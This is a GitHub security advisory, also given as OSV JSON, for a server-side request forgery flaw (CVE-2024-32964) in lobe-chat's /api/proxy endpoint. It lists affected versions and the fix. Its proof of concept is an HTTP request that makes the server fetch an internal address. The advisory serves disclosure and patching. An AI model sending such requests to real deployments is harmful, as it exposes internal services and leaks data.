ghsa-mxhq-xw3g-rphc
Vulnerability from github
Published
2024-05-10 15:29
Modified
2024-05-14 20:03
Severity ?
9.0 (Critical) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H
Summary
lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability
Details

Summary

The latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.

Details

  • visit https://chat-preview.lobehub.com/settings/agent
  • you can attack all internal services by /api/proxy and get the echo in http response :)

image

image

image

PoC

```http POST /api/proxy HTTP/2 Host: xxxxxxxxxxxxxxxxx Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0 Content-Length: 23 Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123" Sec-Ch-Ua-Platform: "Windows" Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://chat-preview.lobehub.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://chat-preview.lobehub.com/settings/agent Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7

http://172.23.0.1:8000/ ```

Impact

SSRF ,All users will be impacted.

Show details on source website

To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.150.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@lobehub/chat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.150.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-32964"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-10T15:29:51Z",
    "nvd_published_at": "2024-05-14T15:37:18Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.\n\n### Details\n* visit https://chat-preview.lobehub.com/settings/agent  \n* you can attack all internal services by /api/proxy and get the echo in http response :) \n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/c2894c34-7333-4ae1-864c-3b212b95eb21)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/dd9ad696-7180-4700-8bff-1171a6a8ac91)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/e2b97520-a6d5-4939-8313-46db8a1c4b75)\n\n\n\n### PoC\n```http\nPOST /api/proxy HTTP/2\nHost: xxxxxxxxxxxxxxxxx\nCookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0\nContent-Length: 23\nSec-Ch-Ua: \"Google Chrome\";v=\"123\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"\nSec-Ch-Ua-Platform: \"Windows\"\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\nContent-Type: text/plain;charset=UTF-8\nAccept: */*\nOrigin: https://chat-preview.lobehub.com\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://chat-preview.lobehub.com/settings/agent\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7\n\nhttp://172.23.0.1:8000/\n```\n\n### Impact\nSSRF ,All users will be impacted.",
  "id": "GHSA-mxhq-xw3g-rphc",
  "modified": "2024-05-14T20:03:54Z",
  "published": "2024-05-10T15:29:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32964"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/commit/465665a735556669ee30446c7ea9049a20cc7c37"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lobehub/lobe-chat"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability"
}


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